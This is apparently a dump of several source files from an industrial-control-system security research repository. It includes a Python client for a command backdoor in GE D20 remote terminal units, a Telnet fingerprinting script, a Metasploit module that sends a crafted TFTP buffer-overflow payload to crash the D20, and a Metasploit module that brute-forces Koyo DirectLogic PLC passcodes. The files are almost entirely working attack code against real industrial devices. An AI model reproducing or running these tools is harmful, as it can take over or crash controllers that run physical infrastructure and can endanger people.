45 | #the first few lines are garbage 46 | if counter < 5: 47 | counter = counter + 1 48 | continue 49 | tline = line.strip() 50 | if tline[0:3] != "D20": 51 | print tline 52 | 53 | # Build a MONITOR:command.log file and send it to the D20 54 | def sendCmd(host): 55 | cmdfile = open("/tmp/m68kcmd", 'wb') 56 | cmdfile.write(cmd + '\x0d\x0a\x00') 57 | cmdfile.close() 58 | client = tftpy.TftpClient(host, 69, options={'blksize': 2048, 'timeout':2}) 59 | try: 60 | client.upload('MONITOR:command.log', '/tmp/m68kcmd') 61 | except: 62 | print "Exception encountered sending your command (is the D20 up?)" 63 | print "Type '::host' to set a new host" 64 | return 1 65 | return 0 66 | 67 | # The main program follows 68 | 69 | print "Welcome to the D20ME Application Monitor!" 70 | host = raw_input("Give me a host to connect to: ") 71 | print "Type 'help' for a list of commands supported by your D20" 72 | while True: 73 | try: 74 | cmd = raw_input("D20MEA> ") 75 | except KeyboardInterrupt: 76 | print "" 77 | print "Thanks for using the D20 CLI Backdoor, " 78 | print " brought to you by @ReverseICS, @DigitalBond (and GE)" 79 | exit() 80 | if "::get" == cmd: 81 | getResponse(host) 82 | elif "::host" == cmd: 83 | host = raw_input("Give me a host to connect to: ") 84 | elif "" == cmd: 85 | continue 86 | else: 87 | if 0 == sendCmd(host): 88 | time.sleep(1) 89 | getResponse(host) 90 | -------------------------------------------------------------------------------- /ged20telnet-fp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import time 3 | import sys 4 | 5 | def hexstr(instr): 6 | out = "" 7 | for b in instr: 8 | out = out + str('%02x' % ord(b)) 9 | return out 10 | 11 | if len(sys.argv) < 4: 12 | sys.stderr.write("Usage: " + sys.argv[0] + " \n") 13 | sys.exit(1) 14 | host = sys.argv[1] 15 | port = int(sys.argv[2]) 16 | timeout = float(sys.argv[3]) 17 | bsize = 1024 18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | s.settimeout(0.5) 20 | s.connect((host,port)) 21 | commands = range(0,50) 22 | commands.append(138) 23 | commands.append(139) 24 | commands.append(140) 25 | time.sleep(1) 26 | response = s.recv(bsize) 27 | s.settimeout(timeout) 28 | print "," + hexstr(response) 29 | for i in range(251, 255): 30 | for j in commands: 31 | directive = chr(0xff) + chr(i) + chr(j) 32 | s.send(directive) 33 | try: 34 | response = s.recv(bsize) 35 | except: 36 | response = "" 37 | print hexstr(directive) + "," + hexstr(response) 38 | print "done" 39 | -------------------------------------------------------------------------------- /ged20tftp.rb: -------------------------------------------------------------------------------- 1 | 2 | ## 3 | # This file is part of the Metasploit Framework and may be subject to 4 | # redistribution and commercial restrictions. Please see the Metasploit 5 | # Framework web site for more information on licensing and terms of use. 6 | # http://metasploit.com/framework/ 7 | ## 8 | 9 | ## 10 | # The General Electric D20 (and possibly other devices) have numerous 11 | # buffer overruns in their TFTP servers and probably other servers. 12 | # There are many buffer overruns like it, but this one is the D20's 13 | # TFTP Server transfer-mode overflow. 14 | # The filename also suffers from an overrun but seems unlikely to be 15 | # exploitable. 16 | ## 17 | 18 | 19 | require 'msf/core' 20 | require 'rex/ui/text/shell' 21 | require 'rex/proto/tftp' 22 | 23 | 24 | class Metasploit3 < Msf::Auxiliary 25 | include Rex::Ui::Text 26 | include Rex::Proto::TFTP 27 | include Msf::Exploit::Remote::Udp 28 | def initialize(info = {}) 29 | super(update_info(info, 30 | 'Name' => 'General Electric D20ME TFTP Server Buffer Overflow', 31 | 'Description' => %q{ None given 32 | }, 33 | 'Author' => [ 'K. Reid Wightman ' ], 34 | 'License' => MSF_LICENSE, 35 | 'Version' => '$Revision: 1 $', 36 | 'DisclosureDate' => 'Jan 19 2012', 37 | )) 38 | 39 | register_options( 40 | [ 41 | Opt::RPORT(69), 42 | Opt::RHOST('192.168.255.1'), 43 | ], self.class) 44 | end 45 | 46 | def setup 47 | @rhost = datastore['RHOST'] 48 | @rport = datastore['RPORT'] || 69 49 | @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025)) 50 | @lhost = datastore['LHOST'] || "0.0.0.0" 51 | @payload = "\x00\x01NVRAM\\D20.zlb\x00netascii\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88\x80\x80\x80\x89\x80\x80\x80\x8a\x80\x80\x80\x8b\x80\x80\x80\x8c\x80\x80\x80\x8d\x80\x80\x80\x8e\x80\x80\x80\x8f\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9a\x80\x80\x80\x9b\x80\x80\x80\x9c\x80\x80\x80\x9d\x80\x80\x80\x9e\x80\x80\x80\x9f\x80\x80\x80\xa0\x80\x80\x80\xa1\x80\x80\x80\xa2\x80\x80\x80\xa3\x80\x80\x80\xa4\x80\x80\x80\xa5\x80\x80\x80\xa6\x80\x80\x80\xa7\x80\x80\x80\xa8\x80\x80\x80\x00\x80\x80\x80\xaa\x80\x80\x80\xab\x80\x80\x80\xac\x80\x80\x80\xad\x80\x80\x80\xae\x80\x80\x80\xaf\x80\x80\x80\xb0\x80\x80\x80\xb1\x80\x80\x80\xb2\x80\x80\x80\xb3\x80\x80\x80\xb4\x80\x80\x80\xb5\x80\x80\x80\xb6\x80\x80\x80\xb7\x80\x80\x80\xb8\x80\x80\x80\xb9\x80\x80\x80\xba\x80\x80\x80\xbb\x80\x80\x80\xbc\x80\x80\x80\xbd\x80\x80\x80\xbe\x80\x80\x80\xbf\x80\x80\x80\xc0\x80\x80\x80\xc1\x80\x80\x80\xc2\x80\x80\x80\xc3\x80\x80\x80\xc4\x80\x80\x80\xc5\x80\x80\x80\xc6\x80\x80\x80\xc7\x80\x80\x80\xc8\x80\x80\x80\xc9\x80\x80\x80\xca\x80\x80\x80\xcb\x80\x80\x80\xcc\x80\x80\x80\xcd\x80\x80\x80\xce\x80\x80\x80\xcf\x80\x80\x80\xd0\x80\x80\x80\xd1\x80\x80\x80\xd2\x80\x80\x80\xd3\x80\x80\x80\xd4\x80\x80\x80\xd5\x80\x80\x80\xd6\x80\x80\x80\xd7\x80\x80\x80\xd8\x80\x80\x80\xd9\x80\x80\x80\xda\x80\x80\x80\xdb\x80\x80\x80\xdc\x80\x80\x80\xdd\x80\x80\x80\xde\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xe1\x80\x80\x80\xe2\x80\x80\x80\xe3\x80\x80\x80\xe4\x80\x80\x80\xe5\x80\x80\x80\xe6\x80\x80\x80\xe7\x80\x80\x80\xe8\x80\x80\x80\xe9\x80\x80\x80\xea\x80\x80\x80\xeb\x80\x80\x80\xec\x80\x80\x00\x80\x00\x00\x00\x7f\xff\xbc\x80\xef\x80\x80\x80\xf0\x80\x80\x80\xf1\x80\x80\x80\xf2\x80\x80\x80\xf3\x80\x80\x80\xf4\x80\x80\x80\xf5\x80\x80\x80\xf6\x80\x80\x80\xf7\x80\x80\x80\xf8\x80\x80\x80\xf9\x80\x80\x80\xfa\x80\x80\x80\xfb\x80\x80\x80\xfc\x80\x80\x80\xfd\x80\x80\x80\xfe\x80\x80\x81\x80\x80\x80\x81\x81\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8a\x80\x80\x81\x8b\x80\x80\x81\x8c\x80\x80\x81\x8d\x80\x80\x81\x8e\x80\x80\x81\x8f\x80\x80\x81\x90\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9a\x80\x80\x81\x9b\x80\x80\x81\x9c\x80\x80\x81\x9d\x80\x80\x81\x9e\x80\x80\x81\x9f\x80\x80\x81\xa0\x80\x80\x81\xa1\x80\x80\x81\xa2\x80\x80\x81\xa3\x80\x80\x81\xa4\x80\x80\x81\xa5\x80\x80\x81\xa6\x80\x80\x81\xa7\x80\x80\x81\xa8\x80\x80\x81\xa9\x80\x80\x81\xaa\x80\x80\x81\xab\x80\x80\x81\xac\x80\x80\x81\xad\x80\x80\x81\xae\x80\x80\x81\xaf\x80\x80\x81\xb0\x80\x80\x81\xb1\x80\x80\x81\xb2\x80\x80\x81\xb3\x80\x80\x81\xb4\x80\x80\x81\xb5\x80\x80\x81\xb6\x80\x80\x81\xb7\x80\x80\x81\xb8\x80\x80\x81\xb9\x80\x80\x81\xba\x80\x80\x81\xbb\x80\x80\x81\xbc\x80\x80\x81\xbd\x80\x80\x81\xbe\x80\x80\x81\xbf\x80\x80\x81\xc0\x80\x80\x81\xc1\x80\x80\x81\xc2\x80\x80\x81\xc3\x80\x80\x81\xc4\x80\x80\x81\xc5\x80\x80\x81\xc6\x80\x80\x81\xc7\x80\x80\x81\xc8\x80\x80\x81\xc9\x80\x80\x81\xca\x80\x80\x81\xcb\x80\x80\x81\xcc\x80\x80\x81\xcd\x80\x80\x81\xce\x80\x80\x81\xcf\x80\x80\x81\xd0\x80\x80\x81\xd1\x80\x80\x81\xd2\x80\x80\x81\xd3\x80\x80\x81\xd4\x80\x80\x81\xd5\x80\x80\x81\xd6\x80\x80\x81\xd7\x80\x80\x81\xd8\x80\x80\x81\xd9\x80\x80\x81\xda\x80\x80\x81\xdb\x80\x80\x81\xdc\x80\x80\x81\xdd\x80\x80\x81\xde\x80\x80\x81\xdf\x80\x80\x81\xe0\x80\x80\x81\xe1\x80\x80\x81\xe2\x80\x80\x81\xe3\x80\x80\x81\xe4\x80\x80\x81\xe5\x80\x80\x81\xe6\x80\x80\x81\xe7\x80\x80\x81\xe8\x80\x80\x81\xe9\x80\x80\x81\xea\x80\x80\x81\xeb\x80\x80\x81\xec\x80\x80\x81\xed\x80\x80\x81\xee\x80\x80\x81\xef\x80\x80\x81\xf0\x80\x80\x81\xf1\x80\x80\x81\xf2\x80\x80\x81\xf3\x80\x80\x81\xf4\x80\x80\x81\xf5\x80\x80\x81\xf6\x80\x80\x81\xf7\x80\x80\x81\xf8\x80\x80\x81\xf9\x80\x80\x81\xfa\x80\x80\x81\xfb\x80\x80\x81\xfc\x80\x80\x81\xfd\x80\x80\x81\xfe\x80\x80\x82\x80\x80\x80\x82\x81" 52 | @client1 = Rex::Socket::Udp.create() 53 | @client2 = Rex::Socket::Udp.create() 54 | end 55 | 56 | def rtarget(ip=nil) 57 | if (ip or rhost) and rport 58 | [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " " 59 | elsif (ip or rhost) 60 | "#{rhost} " 61 | else 62 | "" 63 | end 64 | end 65 | 66 | def run 67 | @client1.sendto(@payload, @rhost, @rport) 68 | # wait until the client gets some data back 69 | while @client1.read().length == 0 70 | end 71 | @client2.sendto(@payload, @rhost, @rport) 72 | 73 | print_good "Exploit complete. The d20 should fault after a timeout." 74 | end 75 | 76 | def print_tftp_status(msg) 77 | case msg 78 | when /Aborting/, /errors.$/ 79 | print_error [rtarget,msg].join 80 | when /^WRQ accepted/, /^Sending/, /complete!$/ 81 | print_good [rtarget,msg].join 82 | else 83 | vprint_status [rtarget,msg].join 84 | end 85 | end 86 | 87 | 88 | end 89 | -------------------------------------------------------------------------------- /koyobrute.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | # msfdev is going to want a bunch of other stuff for style/compat but this works 4 | 5 | class Metasploit3 < Msf::Auxiliary 6 | 7 | include Msf::Auxiliary::Report 8 | 9 | def initialize 10 | super( 11 | 'Name' => 'Koyo DirectLogic Password Brute Force Utility', 12 | 'Version' => '$Revision: 3 $', 13 | 'Description' => %q{This module attempts to authenticate to 14 | a locked Koyo DirectLogic PLC. The PLC uses a restrictive 15 | password. The number can be A0000000-A9999999. 16 | }, 17 | 'Author' => ['K. Reid Wightman '], 18 | 'References' => [], 19 | 'License' => MSF_LICENSE 20 | ) 21 | register_options([Opt::RPORT(28784)]) 22 | 23 | @CCITT_16 = [ 24 | 0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7, 25 | 0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF, 26 | 0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6, 27 | 0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE, 28 | 0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485, 29 | 0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D, 30 | 0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4, 31 | 0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC, 32 | 0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823, 33 | 0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B, 34 | 0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12, 35 | 0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A, 36 | 0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41, 37 | 0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49, 38 | 0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70, 39 | 0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78, 40 | 0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F, 41 | 0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067, 42 | 0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E, 43 | 0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256, 44 | 0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D, 45 | 0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405, 46 | 0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C, 47 | 0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634, 48 | 0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB, 49 | 0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3, 50 | 0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A, 51 | 0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92, 52 | 0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9, 53 | 0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1, 54 | 0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8, 55 | 0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0 56 | ] 57 | end 58 | 59 | def crc16(buf, crc=0) 60 | buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff} 61 | [crc].pack("S") 62 | end 63 | 64 | def check(ip) 65 | udp_sock = Rex::Socket::Udp.create() 66 | checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52" 67 | udp_sock.sendto(checkpacket, ip, datastore['RPORT'].to_i, 0) 68 | 69 | recvpacks = 0 70 | while (r = udp_sock.recvfrom(65535, 0.1) and recvpacks < 2) 71 | res = r[0] 72 | if res.length == 269 # auth reply packet 73 | if res[17] == "\x00" and res[19] == "\xD2" 74 | return true 75 | end 76 | end 77 | recvpacks += 1 78 | end 79 | return false 80 | end 81 | 82 | def try_auth(ip, passstr) 83 | udp_sock = Rex::Socket::Udp.create() 84 | 85 | data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf" 86 | header = "HAP" 87 | header += "\xe5\x01" # random session ID 88 | header += crc16(data) 89 | header += [data.length].pack("S") 90 | authpacket = header + data 91 | 92 | udp_sock.sendto(authpacket, ip, datastore['RPORT'].to_i, 0) 93 | 2.times { udp_sock.get } # talk to the hand 94 | 95 | status = check(ip) 96 | 97 | return status 98 | end 99 | 100 | def run_host(ip) 101 | print_status("Checking the controller for locked memory...") 102 | if check(ip) 103 | print_good(ip +" is unlocked.") 104 | return 105 | else 106 | print_status("Controller locked; commencing authbrute...") 107 | end 108 | 109 | (0..9999999).each do |i| 110 | 111 | passcode = 'A' + i.to_s.rjust(7,'0') 112 | print_status("Trying " + passcode) if datastore['VERBOSE'] 113 | 114 | bytes = [] 115 | passcode.scan(/../).each { |x| bytes << x.hex } 116 | passstr = bytes.pack("c*") 117 | 118 | res = try_auth(ip, passstr) 119 | if res 120 | print_good "Found password: #{passcode}" 121 | break 122 | end 123 | end 124 | end 125 | 126 | def run 127 | ip = datastore['RHOST'] 128 | run_host(ip) 129 | end 130 | 131 | end 132 | --------------------------------------------------------------------------------